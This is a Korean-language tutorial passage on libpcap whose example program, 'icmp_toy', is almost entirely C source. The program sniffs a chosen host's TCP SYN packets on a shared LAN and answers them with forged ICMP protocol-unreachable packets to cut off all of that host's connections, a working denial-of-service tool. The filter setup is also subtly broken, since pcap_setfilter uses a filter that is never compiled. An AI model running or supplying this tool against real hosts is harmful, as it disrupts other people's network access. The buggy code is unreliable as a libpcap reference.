4. 응용 : icmp_toy

libpcap을 이용한 간단한 응용의 예를 보이도록 하겠습니다.

icmp_toy는 특정 호스트의 ip address를 입력으로 받아 그 호스트의 모든 접속을 차단해 버리는 프로그램으로 해당 호스트의 tcp, syn flag가 set된 패킷을 libpcap을 이용하여 캡쳐한 후 해당 패킷에 대한 icmp protocol unreachable 패킷을 해당 호스트에게 재전송하게 됩니다.

입력한 호스트는 icmp_toy가 구동중인 호스트와 같은 네트워크에 구성되어 있고, Dummy Hub 환경이여야만 제대로 작동하게 됩니다.

icmp packet은 아래와 같은 구조로 만들어주게 됩니다.

	Destination Unreachable Message
 
    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Type      |     Code      |          Checksum             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             unused                            |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |      Internet Header + 64 bits of Original Data Datagram      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    Type : 3
    Code : 2 = protocol unreachable
    <RFC792>
    

#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <net/ethernet.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/time.h>
#include <pcap.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define  PROMISCUOUS 1

static int nchild = 5;
char target_ip[16];

static pid_t *pids;
static pcap_t *pd;

unsigned short in_cksum (unsigned short *addr, int len)
{
  int nleft = len;
  int sum = 0;
  unsigned short *w = addr;
  unsigned short answer = 0;

  while (nleft > 1) {
      sum += *w++;
      nleft -= 2;
  }

  if (nleft == 1) {
      *(unsigned char *) (&answer) = *(unsigned char *) w;
      sum += answer;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

void send_icmp (int sockfd, struct iphdr *iph, struct tcphdr *tcph)
{
  char buff[76];
  char data[28];

  int len;
  struct sockaddr send;
  struct icmp *icmp;
  struct sockaddr_in *willsend;

  willsend = (struct sockaddr_in *) &send;
  willsend->sin_family = AF_INET;
  willsend->sin_addr.s_addr = iph->saddr;

  fprintf (stdout, "A player\'s number is (%d) : Shot!! ---<-@ %s \n",
	   getpid (), target_ip);

  icmp = (struct icmp *) buff;
  icmp->icmp_type = ICMP_DEST_UNREACH;
  icmp->icmp_code = ICMP_PROT_UNREACH;
  icmp->icmp_id = 0;
  icmp->icmp_seq = 0;

  memcpy (data, iph, 20);
  memcpy (data + 20, tcph, 8);
  memcpy (icmp->icmp_data, data, 28);

  len = 8 + 20 + 8;

  icmp->icmp_cksum = 0;
  icmp->icmp_cksum = in_cksum ((u_short *) icmp, len);
  sendto (sockfd, buff, len, 0, &send, sizeof (send));
}

void checkip (struct iphdr *iph, struct tcphdr *tcph)
{
  int sockfd;
  char source_ip[16];

  struct in_addr in;
  in.s_addr = iph->saddr;

  strncpy (source_ip, inet_ntoa (in), sizeof (source_ip));
  sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);

  if (strncmp (target_ip, source_ip, sizeof (source_ip)) == 0)
    send_icmp (sockfd, iph, tcph);

  close (sockfd);
}

void packet_info (char *user, int len)
{
  struct iphdr *iph;
  struct tcphdr *tcph;

  iph = (struct iphdr *) user;
  tcph = (struct tcphdr *) (user + iph->ihl * 4);
  checkip (iph, tcph);
}

void sig_int (int sig)
{
  int i;

  for (i = 0; i < nchild; i++)
    kill (pids[i], SIGTERM);

  while (wait (NULL) > 0)
    ;

  fprintf (stdout, "Bye !!\n");

  pcap_close(pd);
  exit (0);
}

pid_t child_make (int i, pcap_t * pd, int datalink)
{
  pid_t pid;
  void child_main (int, pcap_t *, int);

  if ((pid = fork ()) > 0) {
      return (pid);
  }

  child_main (i, pd, datalink);
  return 0;			// ADD 
}

void child_main (int i, pcap_t * pd, int datalink)
{
  void packet_loop (pcap_t *, int);

  printf ("CHILD %ld starting\n", (long) getpid ());
  packet_loop (pd, datalink);
}

char *next_pcap (pcap_t * pd, int *len)
{
  char *ptr;
  struct pcap_pkthdr hdr;

  while ((ptr = (char *) pcap_next (pd, &hdr)) == NULL);

  *len = hdr.caplen;
  return (ptr);
}

void packet_loop (pcap_t * pd, int datalink)
{
  int len;
  char *ptr;

  for (;;) {
      ptr = next_pcap (pd, &len);
      switch (datalink) {
		case DLT_EN10MB:
	  		packet_info (ptr + 14, len - 14);
	  		break;
	  }
  }
}

void usage (void)
{
  fprintf (stdout, "SYNOPSIS : icmp_toy xxx.xxx.xxx.xxx(target ip address) \n");
}

int main (int argc, char *argv[])
{
   struct bpf_program fcode;
   char *device, *filter_rule;
   char ebuf[PCAP_ERRBUF_SIZE];
   int i, j, snaplen = 68;
   bpf_u_int32 localnet, netmask;

   signal (SIGINT, sig_int); 

   if (argc < 2) {
	   usage (); 
	   exit (1);
   }

   strncpy (target_ip, argv[1], sizeof (target_ip));
   filter_rule = "tcp and tcp[13:1] & 2 != 0";
   device = pcap_lookupdev (ebuf); 
   if (device == NULL)
   {
	   perror (ebuf); 
	   exit (1);
   }


   pd = pcap_open_live (device, snaplen, PROMISCUOUS, 1000, ebuf);

   if (pd == NULL)
   {
	   perror (ebuf); 
	   exit (1);
   }

   i = pcap_snapshot (pd); 
   
   if (snaplen < 1)
   {
	   perror (ebuf); 
	   exit (1);
   }

   if (pcap_lookupnet (device, &localnet, &netmask, ebuf) < 0)
   {
	   perror (ebuf); 
	   exit (1);
   }

   if (pcap_setfilter (pd, &fcode) < 0)
   {
	   perror (ebuf); 
	   exit (1);
   }

   fflush (stderr);

   pids = calloc (nchild, sizeof (pid_t));
   for (j = 0; j < nchild; j++)
	   pids[j] = child_make (j, pd, pcap_datalink (pd));

   for (;;) 
	   pause ();
}